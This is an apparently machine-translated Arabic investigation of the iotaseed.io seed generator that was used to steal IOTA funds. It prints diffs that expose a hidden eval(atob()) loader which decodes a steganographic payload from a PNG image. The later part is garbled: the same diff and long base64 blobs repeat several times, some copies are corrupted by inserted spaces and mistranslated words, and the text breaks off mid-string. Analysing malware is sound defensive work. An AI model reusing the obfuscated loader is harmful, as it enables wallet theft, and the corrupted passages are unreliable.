نشرت Ars Techica مؤخرًا مادة تصف كيف سمح مولد عبارات iotaseed.io المبدئي iotaseed.io ، الذي كان ضارًا (ولم يعد يعمل الآن) ، لمنشئه بسرقة ما يقرب من 4 ملايين دولار من عملة IOTA المشفرة من محافظ المستخدمين.

وفقًا لوصف المنشور ، فإن موقع الويب "قام بتخزين البيانات في كل عبارة أساسية تم إنشاؤها جنبًا إلى جنب مع معلومات حول المحفظة التي تم ربطها بها ، مما يسمح لمالكي مواقع الويب (أو أولئك الذين قاموا باختراقها) ببساطة بانتظار وصول الرموز المميزة إلى المحافظ ، ثم اسحبها إلى حساباتك ". في هذه المقالة ، قررت دراسة الجانب الفني لهذه الفضيحة.
نحن نبحث عن رمز
تم استبدال النسخة الأصلية من موقع iotaseed.io برسالة تفيد بأنه معطل. لحسن الحظ ، تم
الاحتفاظ بنسخة من الموقع بواسطة آلة Wayback.
يؤدي موقع الويب إلى مستودع github ، ويحذر الزوار من أن الشفرة مفتوحة للمراجعة ، ولكن يوصي المستخدمين بتوليد البذور على موقع الويب نفسه ، حيث قد يحتوي المستودع على رمز أحدث ولم يتم اختباره بعد.
بناءً على هذه المعلومات ، افترضت أن الشفرة الخبيثة تعمل فقط على الموقع ، ولم تكن في المستودع. مثل هذا النهج سيجعل من الممكن إخفاء أجزاء التعليمات البرمجية المستخدمة لسرقة البذور. يحتوي المستودع فقط على كود نظيف لم يثر أي أسئلة أو شكوك. وهذا يفسر التوصية باستخدام الموقع فقط وليس المستودع. إذا كان هذا صحيحًا ، فإن أي محاولة لمقارنة جافا سكريبت على الموقع مع جافا سكريبت في مستودع Github ستؤدي إلى اكتشاف واضح لباب خلفي على الموقع.
لسوء الحظ ، يشير مستودع iotaseed.io github إلى
norbertvdberg / iotaseed المحذوف بالفعل (تم أيضًا حذف الحساب). آلة Wayback حفظت
صفحة المستودع
الرئيسية فقط. رداً على محاولات إلقاء نظرة على الكود أو تنزيل أرشيف zip ، تقول WM أن هذه الصفحات لم يتم أرشفتها. ومع ذلك ، بالنظر إلى عداد الشوكة في الزاوية العلوية اليمنى ، يمكننا أن نجد أن هذا الرمز تم تشفيره بواسطة 8 حسابات مختلفة. بعد التحقق من
المقالة المقابلة في قاعدة معارف GitHub ، نتعلم أن حذف المستودع لا يؤثر على عمل شوكاته. وهذا يعني أن نسخ هذا المستودع قد لا تزال موجودة في مكان ما في اتساع نطاق الخدمة.

يتيح لك البحث السريع عن عمليات التنفيذ المرئية في نسخة من الصفحة المحفوظة بواسطة Wayback Machine اكتشاف ما يلي:

يبدو أن
eggdroid / eggseed3 هو أحد شوكات رمز iotaseed.io الأصلي. تم تنفيذ جميع عمليات التنفيذ الـ 26 من قبل norbertvdberg ، وهو نفس مالك المستخدم للمستودع الأصلي. الآن بعد أن أصبح لدينا كل من موقع الويب وملفات جافا سكريبت من github تحت تصرفنا ، حان الوقت لمقارنتها وإيجاد الفرق.
تحليل الكود
يتكون منشئ البذور من العديد من ملفات JavaScript المختلفة مجتمعة في ملف
all.js
مصغر إلى
all.mini.js.
هو الذي تم استخدامه في الواقع على الصفحة. لذلك ، قارنته بنفس ملف js من نسخة WM المحفوظة.
$ shasum all-website.mini.js all-github.mini.js 3d48933698d8cf1d1673067d782595c12c815424 all-website.mini.js 3d48933698d8cf1d1673067d782595c12c815424 all-github.mini.js
لسوء الحظ ، تبين أن كلا الملفين متماثلان. أثناء البحث في التعليمات البرمجية ، لاحظت أنه فور إنشاء المحفظة ،
بدأ Web Worker في توليد رموز QR وبيانات النسخة الورقية من المحفظة. كود هذا العامل موجود في
all-wallet.mini.js
. ربما كان هناك شيء مخبأ فيه؟
بدت إصدارات هذا الملف من الموقع ومن نسخة WM مختلفة ، لذلك قمت بتشغيل كلا الملفين من خلال
js-beautify ، ثم قارنتهما مع فرق لمعرفة الاختلافات المحددة.
$ diff all-wallet-website.js all-wallet-github.js 1313c1313 < t = t || {}, this.version = e("../package.json").version, this.host = t.host ? t.host : "http://web.archive.org/web/20180120222030/http://localhost/", this.port = t.port ? t.port : 14265, this.provider = t.provider || this.host.replace(/\/$/, "") + ":" + this.port, this.sandbox = t.sandbox || !1, this.token = t.token || !1, this.sandbox && (this.sandbox = this.provider.replace(/\/$/, ""), this.provider = this.sandbox + "/commands"), this._makeRequest = new o(this.provider, this.token), this.api = new a(this._makeRequest, this.sandbox), this.utils = i, this.valid = e("./utils/inputValidator"), this.multisig = new s(this._makeRequest) --- > t = t || {}, this.version = e("../package.json").version, this.host = t.host ? t.host : "http://localhost", this.port = t.port ? t.port : 14265, this.provider = t.provider || this.host.replace(/\/$/, "") + ":" + this.port, this.sandbox = t.sandbox || !1, this.token = t.token || !1, this.sandbox && (this.sandbox = this.provider.replace(/\/$/, ""), this.provider = this.sandbox + "/commands"), this._makeRequest = new o(this.provider, this.token), this.api = new a(this._makeRequest, this.sandbox), this.utils = i, this.valid = e("./utils/inputValidator"), this.multisig = new s(this._makeRequest) 1713c1713 < this.provider = e || "http://web.archive.org/web/20180120222030/http://localhost:14265/", this.token = t --- > this.provider = e || "http://localhost:14265", this.token = t 1718c1718 < this.provider = e || "http://web.archive.org/web/20180120222030/http://localhost:14265/" --- > this.provider = e || "http://localhost:14265" 6435c6435 < website: "http://web.archive.org/web/20180120222030/https://iota.org/" --- > website: "https://iota.org" 6440c6440 < url: "http://web.archive.org/web/20180120222030/https://github.com/iotaledger/iota.lib.js/issues" --- > url: "https://github.com/iotaledger/iota.lib.js/issues" 6444c6444 < url: "http://web.archive.org/web/20180120222030/https://github.com/iotaledger/iota.lib.js.git" --- > url: "https://github.com/iotaledger/iota.lib.js.git"
لكن الاختلاف الوحيد هو أن آلة Wayback أعادت كتابة بعض عناوين URL للإشارة إلى
web.archive.org
. من وجهة نظر وظيفية ، تبين أن رمز إنشاء البذور في كلا الملفين هو نفسه.
بعد ذلك ، قررت أن ألقي نظرة فاحصة على index.html ولاحظت تحميل جافا سكريبت آخر من
مكتبة التنبيه ، والتي تجاهلتها أولاً. لقد أجريت نفس التلاعبات بنسخة WM المحفوظة الخاصة بها والنسخة من المستودع والشفرة المشبوهة أصبحت واضحة:
$ diff notifier-website.js notifier-github.js 68,71d67 < if (!window.inited_n) { < window.inited_n = true; < Notifier.init() < } 82,87d77 < if (/,T/.test(image)) { < if (/ps:.*o/.test(document.location)) { < eval(atob(image.split(",")[2])) < } < return < } 119,121d108 < init: function(message, title) { < this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03///9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7/zMnj4+PW19VGRkbqPi7v7/D6+vr09fXyTj4rKSvhSTo/Pj/oSDnlMyLsNCI0MTP0///tTT7ZRjizOi+6PDDmLRyenZ7oKRfExMT/TzvobGEVFBWGhYUAGjLW8/ToXVADLUZ8e33/2tfRRTdWVFTFQDT1u7aSkZIADib+5eFwcHHW+/z70tDwkIesPTPW6+teXV2xsbG7u7vY4+Lre3DMzM2qp6jilIxsPT7lg3kdO07m/f4AJjuwsJzftK/fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f+8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF/o64s+PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX+z7rJNNWB5pGxZ1m2mZY/gXOlr43C+dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe+v1fpVECdtPSy5822Bi+JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4+4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4/BDMEQ6RM+oNQ6vjJyWFTNTDJlau0e1drAO+Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN+T+Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7/CWYLRo6/2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA/4v+whvwdzafABTh/tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM/ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp+ioWy2JAbWYqQ6E+mv5SwyNzJWh/HHX6Rty17TYNBFF44CokEA+ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833/N0bI85X/CarUEte9b68nlf4rg+lKoEGAvPMvzk6+Ak5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==") < },
البيانات: صورة / بابوا نيو غينيا، base64 في، iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A / WD / oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo / h4eEzODbm5 + eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03 / 9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q، ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4 + MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7، TbRznoTD3oTD1JR0iX $ diff notifier-website.js notifier-github.js 68,71d67 < if (!window.inited_n) { < window.inited_n = true; < Notifier.init() < } 82,87d77 < if (/,T/.test(image)) { < if (/ps:.*o/.test(document.location)) { < eval(atob(image.split(",")[2])) < } < return < } 119,121d108 < init: function(message, title) { < this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03///9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7/zMnj4+PW19VGRkbqPi7v7/D6+vr09fXyTj4rKSvhSTo/Pj/oSDnlMyLsNCI0MTP0///tTT7ZRjizOi+6PDDmLRyenZ7oKRfExMT/TzvobGEVFBWGhYUAGjLW8/ToXVADLUZ8e33/2tfRRTdWVFTFQDT1u7aSkZIADib+5eFwcHHW+/z70tDwkIesPTPW6+teXV2xsbG7u7vY4+Lre3DMzM2qp6jilIxsPT7lg3kdO07m/f4AJjuwsJzftK/fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f+8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF/o64s+PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX+z7rJNNWB5pGxZ1m2mZY/gXOlr43C+dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe+v1fpVECdtPSy5822Bi+JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4+4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4/BDMEQ6RM+oNQ6vjJyWFTNTDJlau0e1drAO+Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN+T+Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7/CWYLRo6/2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA/4v+whvwdzafABTh/tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM/ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp+ioWy2JAbWYqQ6E+mv5SwyNzJWh/HHX6Rty17TYNBFF44CokEA+ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833/N0bI85X/CarUEte9b68nlf4rg+lKoEGAvPMvzk6+Ak5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==") < },
zMnj4 + PW19VGRkbqPi7v7 / D6 + vr09fXyTj4rKSvhSTo / بيتاجول / oSDnlMyLsNCI0MTP0 /// tTT7ZRjizOi + 6PDDmLRyenZ7oKRfExMT / TzvobGEVFBWGhYUAGjLW8 / ToXVADLUZ8e33 / 2tfRRTdWVFTFQDT1u7aSkZIADib + 5eFwcHHW + / + z70tDwkIesPTPW6 teXV2xsbG7u7vY4 + Lre3DMzM2qp6jilIxsPT7lg3kdO07m / f4AJjuwsJzftK / fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f + 8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF / o64s + $ diff notifier-website.js notifier-github.js 68,71d67 < if (!window.inited_n) { < window.inited_n = true; < Notifier.init() < } 82,87d77 < if (/,T/.test(image)) { < if (/ps:.*o/.test(document.location)) { < eval(atob(image.split(",")[2])) < } < return < } 119,121d108 < init: function(message, title) { < this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03///9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7/zMnj4+PW19VGRkbqPi7v7/D6+vr09fXyTj4rKSvhSTo/Pj/oSDnlMyLsNCI0MTP0///tTT7ZRjizOi+6PDDmLRyenZ7oKRfExMT/TzvobGEVFBWGhYUAGjLW8/ToXVADLUZ8e33/2tfRRTdWVFTFQDT1u7aSkZIADib+5eFwcHHW+/z70tDwkIesPTPW6+teXV2xsbG7u7vY4+Lre3DMzM2qp6jilIxsPT7lg3kdO07m/f4AJjuwsJzftK/fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f+8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF/o64s+PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX+z7rJNNWB5pGxZ1m2mZY/gXOlr43C+dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe+v1fpVECdtPSy5822Bi+JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4+4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4/BDMEQ6RM+oNQ6vjJyWFTNTDJlau0e1drAO+Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN+T+Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7/CWYLRo6/2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA/4v+whvwdzafABTh/tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM/ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp+ioWy2JAbWYqQ6E+mv5SwyNzJWh/HHX6Rty17TYNBFF44CokEA+ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833/N0bI85X/CarUEte9b68nlf4rg+lKoEGAvPMvzk6+Ak5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==") < },
v1fpVECdtPSy5822Bi + JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4 + 4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4 / BDMEQ6RM + oNQ6vjJyWFTNTDJlau0e1drAO + Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN + T + Uogmu2QR5ucsaXuV6w1hat $ diff notifier-website.js notifier-github.js 68,71d67 < if (!window.inited_n) { < window.inited_n = true; < Notifier.init() < } 82,87d77 < if (/,T/.test(image)) { < if (/ps:.*o/.test(document.location)) { < eval(atob(image.split(",")[2])) < } < return < } 119,121d108 < init: function(message, title) { < this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03///9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7/zMnj4+PW19VGRkbqPi7v7/D6+vr09fXyTj4rKSvhSTo/Pj/oSDnlMyLsNCI0MTP0///tTT7ZRjizOi+6PDDmLRyenZ7oKRfExMT/TzvobGEVFBWGhYUAGjLW8/ToXVADLUZ8e33/2tfRRTdWVFTFQDT1u7aSkZIADib+5eFwcHHW+/z70tDwkIesPTPW6+teXV2xsbG7u7vY4+Lre3DMzM2qp6jilIxsPT7lg3kdO07m/f4AJjuwsJzftK/fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f+8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF/o64s+PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX+z7rJNNWB5pGxZ1m2mZY/gXOlr43C+dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe+v1fpVECdtPSy5822Bi+JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4+4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4/BDMEQ6RM+oNQ6vjJyWFTNTDJlau0e1drAO+Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN+T+Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7/CWYLRo6/2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA/4v+whvwdzafABTh/tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM/ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp+ioWy2JAbWYqQ6E+mv5SwyNzJWh/HHX6Rty17TYNBFF44CokEA+ABELiJ2yMnUorefElCY5pHGgqu3